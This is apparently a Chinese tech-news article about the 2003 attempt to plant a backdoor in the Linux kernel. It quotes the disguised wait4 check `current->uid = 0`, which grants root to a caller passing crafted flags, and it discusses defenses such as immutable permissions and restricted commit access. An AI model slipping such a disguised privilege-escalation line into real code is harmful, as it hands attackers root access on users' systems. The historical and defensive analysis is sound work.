写点什么

回顾 Linux 内核后门

  • 2013-12-29
  • 本文字数:1138 字

    阅读完需:约 4 分钟

由于最近大众对美国国家安全局(NAS)的关注,人们的注意力转移到后门程序上。对于不熟悉该术语的人们,后门是一种有意在操作系统或软件中植入的漏洞,允许未授权的用户访问系统。在 2003 年曾经有人试图向 Linux 内核植入后门,虽然被发现了,但是这表明不论看上去多普通的变更都会引入漏洞,以及源码控制管理的重要性。

Corbet 在 LVN.Net 的文章中首次提到以下这段代码,它把自己伪装成类似 wait4 函数的参数校验。

复制代码
if((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

正常情况下没有任何影响,但是如果调用程序故意传入非法值,if 表达式的第二部分就会执行。该部分会将程序的用户 ID(current->uid)设为 0, 在 Linux 中就是 root 用户。

一眼看上去这就像是一个简单的代码错误,开发人员经常疏忽将’==‘写成’=’。虽然你认为函数 wait4 不应该与用户 ID 有任何关系,但是很明显这是故意为为之。

Corbet 描述了该后门是如何被发现的

CVS 库中的每个变更都会包含反向链接信息,表明与 BitKeeper 中的变更相同。有问题的变更缺少这样的信息,所以很快就能辨认出来。 试图通过这种方式进行变更是很可疑的,至少可以这么说,所以我们非常关注变更请求到底是什么。

攻击者曾经再次向 BitKeeper 库的 CVS 克隆库中植入后门。他继续说道

CVS 代码库是从 BitKeeper 生成的,但是补丁程序进入 BitKeeper 代码库并不经过它。所以有问题的代码只会影响基于 CVS 代码库工作的用户。发行商使用的内核不是来自该库,这次事故也说明,问题代码能够驻留很长一段时间。

大家想象一下,如果有人向代码库发起这样的攻击,增加几行看上去很好的代码,实际上植入了一个后门,而代码库没有 Linux 内核团队的控制和严格检查,你如何保护自己不受攻击。

一种方式是在应用程序中创建自己的“内核”,只有这段代码可以改变用户的角色和权限。其他的代码只是获取到用户权限的只读视图,这样他们就不能轻易得获取 root 权限。

在这样的模型中,"current->uid=0"这样的代码不会编译。如果任何人想实施攻击,或是直接修改应用程序的安全模块,但是我们会密切关注这样的修改,或是使用反射的伎俩,但是反射代码肯定比简单的赋值操作更容易被察觉到。

如果语言层面支持,一种更好的方式是使用户权限完全不可变。这种方式能够更大程度限制攻击发生的地方,只能是创建权限的地方。

这些措施应该配合对源码控制服务器的限制进行实施。一是限制尽可能少的人向主分支中提交代码,而不是过于开放;二是安全敏感代码默认应该完全锁定,只能根据问题具体情况授予编辑权限,实施的具体方法依赖此人是否使用分布式或集中式的源码控制以及具体的产品。

如果没有在变更代码成为产品之前进行审计,最终这些技术都会失效,这些措施只能减少审计疏漏问题发生的可能性。

2013-12-29 22:134503
用户头像

发布了 28 篇内容, 共 10.6 次阅读, 收获喜欢 0 次。

关注

评论

发布
暂无评论
发现更多内容

自定义View:resolveSizeAndState方法

Changing Lin

10月月更

linux之curl使用技巧

入门小站

Linux

Python 编码规范

不负青春不负己🤘

Python Pythonic 编码规范

GrowingIO 数据安全实践

GrowingIO技术专栏

隐私保护 数据安全 隐私安全 数据安全法

揭秘!探访百度AI反诈第一线

脑极体

声网发布融合CDN直播等系列新品,拓宽RTE产品边界

ToB行业头条

声网

HarmonyOS Connect伙伴峰会,车载智慧屏S50正式发布

科技汇

Leetcode 题目解析:96. 不同的二叉搜索树

程序员架构进阶

算法 LeetCode 10月月更

👊【Spring技术实战】分析探究RedisTemplate的序列化和反序列化+泛型机制

洛神灬殇

spring 序列化 RedisTemplate 10月月更

Android 音视频 - EGL 源码解析以及 C++ 实现

声网

android 音视频 OpenGL ES

再谈字节小程序

字节跳动终端技术

小程序 字节跳动 火山引擎

【得物技术】时间切片的实践与应用

得物技术

架构 性能优化 大前端 性能 业务

我的新下属都怀念老领导,我该把他们全部开除吗?

石云升

职场经验 10月月更

利用基数排序LSD方法给等长字符串按字典序排序

Regan Yue

算法 10月月更

在线文字转图片工具

入门小站

工具

EMQ 在2021电力人工智能大会:稳健数据基础设施架构支撑电力数字化发展

EMQ映云科技

人工智能 物联网 电力 mqtt

从区块链到元宇宙 Metaverse

devpoint

区块链 元宇宙 10月月更

欢庆1024程序员节,开源茁壮成长

Zilliz

创业 开源 程序员 成长

面试了一个34岁的Java大佬,感觉到他背过很多面试题,年薪50w面试基本都能答得上

Java java面试 java架构

024云原生之软件部署策略

穿过生命散发芬芳

云原生 10月月更

Stream 操作

风翱

stream 10月月更

华为云企业级Redis:助力VMALL打造先进特征平台

华为云数据库小助手

GaussDB GaussDB ( for Redis ) 华为云数据库

官方线索|FATE开源社区1024程序员节福利

石云升

1024我在现场 10月月更

北鲲云如何为企业提供混合云解决方案

北鲲云

数字化转型请从一个清晰的定义开始 | DBT What

王和全

人工智能 大数据 数字化转型 数字化 数字经济

解决网卡“Device eth0 does not seem to be present, delaying initialization”

耳东@Erdong

Linux 10月月更

Go语言的设计哲学

不负青春不负己🤘

Go 语言 语言设计

[ 职场 ] 发现问题容易

baiyutang

职场 10月月更

以“有用”为圆心:重新认识智慧城市的“高手之路”

脑极体

硝烟弥漫的安全战场,只等一位超级英雄登场

白洞计划

从芯片公司到VR,字节跳动为了元宇宙加码布局

海比研究院

回顾Linux内核后门_安全_Jonathan Allen_InfoQ精选文章